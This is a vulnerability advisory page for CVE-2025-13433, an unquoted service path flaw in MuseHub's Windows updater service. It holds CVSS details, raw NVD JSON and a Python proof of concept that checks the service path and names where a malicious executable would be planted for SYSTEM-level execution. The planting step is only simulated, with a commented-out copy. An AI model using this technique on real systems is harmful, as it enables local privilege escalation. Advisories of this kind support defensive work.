Security Vulnerability Report
中文
CVE-2025-13433 CVSS 7.0 HIGH

CVE-2025-13433

Published: 2025-11-20 15:17:24
Last Modified: 2026-04-15 00:35:42

Description

A security flaw has been discovered in Muse Group MuseHub 2.1.0.1567. The affected element is an unknown function of the file C:\Program Files\WindowsApps\Muse.MuseHub_2.1.0.1567_x64__rb9pth70m6nz6\Muse.Updater.exe of the component Windows Service. The manipulation results in unquoted search path. The attack is only possible with local access. A high complexity level is associated with this attack. The exploitability is described as difficult. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Muse Group MuseHub 2.1.0.1567

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13433 PoC - Unquoted Service Path in MuseHub Muse.Updater.exe # Author: Security Researcher # This PoC demonstrates the unquoted service path vulnerability import os import sys import subprocess import time def check_vulnerable_service(): """Check if MuseHub updater service is installed and has unquoted path""" try: # Query Windows service information result = subprocess.run( ['sc', 'qc', 'MuseHubUpdater'], capture_output=True, text=True ) if 'MuseHub' in result.stdout or result.returncode == 0: print("[*] MuseHubUpdater service found") # Check the BINARY_PATH_NAME for unquoted spaces for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[*] Service path: {path}") # Check if path contains spaces and no quotes if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Path contains spaces without quotes!") return True, path else: print("[-] Not vulnerable or path is quoted") return False, path else: print("[-] MuseHubUpdater service not found") return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(malicious_exe_path): """ Exploit the unquoted service path by placing malicious executable Note: This requires administrator privileges to create files in Program Files """ vulnerable_paths = [ r'C:\Program.exe', r'C:\Program Files\WindowsApps\Muse.MuseHub_2.1.0.1567_x64__rb9pth70m6nz6\Muse.exe' ] print("[*] Attempting to place malicious executable...") for target_path in vulnerable_paths: try: # In real attack, this would be a reverse shell or malicious payload # For demonstration, we show the concept print(f"[*] Would create: {target_path}") print(f"[*] Copy malicious executable to: {target_path}") # Simulate file creation (requires admin privileges) # In production: shutil.copy(malicious_exe_path, target_path) return True except PermissionError: print(f"[-] Insufficient privileges to write to {target_path}") except Exception as e: print(f"[-] Error: {e}") return False def main(): print("=" * 60) print("CVE-2025-13433 PoC - MuseHub Unquoted Service Path") print("=" * 60) # Step 1: Check if vulnerable is_vulnerable, service_path = check_vulnerable_service() if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2025-13433") print("[*] Attack requires:") print(" 1. Low-privilege user access") print(" 2. Ability to write to service path directories") print(" 3. Service restart (system reboot or manual restart)") # Step 2: Demonstrate exploitation steps exploit_unquoted_path('malicious.exe') print("\n[*] After service restart, malicious code executes with SYSTEM privileges") else: print("\n[-] Target is NOT vulnerable or service not found") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13433", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:24.337", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Muse Group MuseHub 2.1.0.1567. The affected element is an unknown function of the file C:\\Program Files\\WindowsApps\\Muse.MuseHub_2.1.0.1567_x64__rb9pth70m6nz6\\Muse.Updater.exe of the component Windows Service. The manipulation results in unquoted search path. The attack is only possible with local access. A high complexity level is associated with this attack. The exploitability is described as difficult. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:C/I:C/A:C", "baseScore": 6.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 1.5, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}, {"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Musehub.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.332977", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332977", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.687547", "source": "[email protected]"}]}}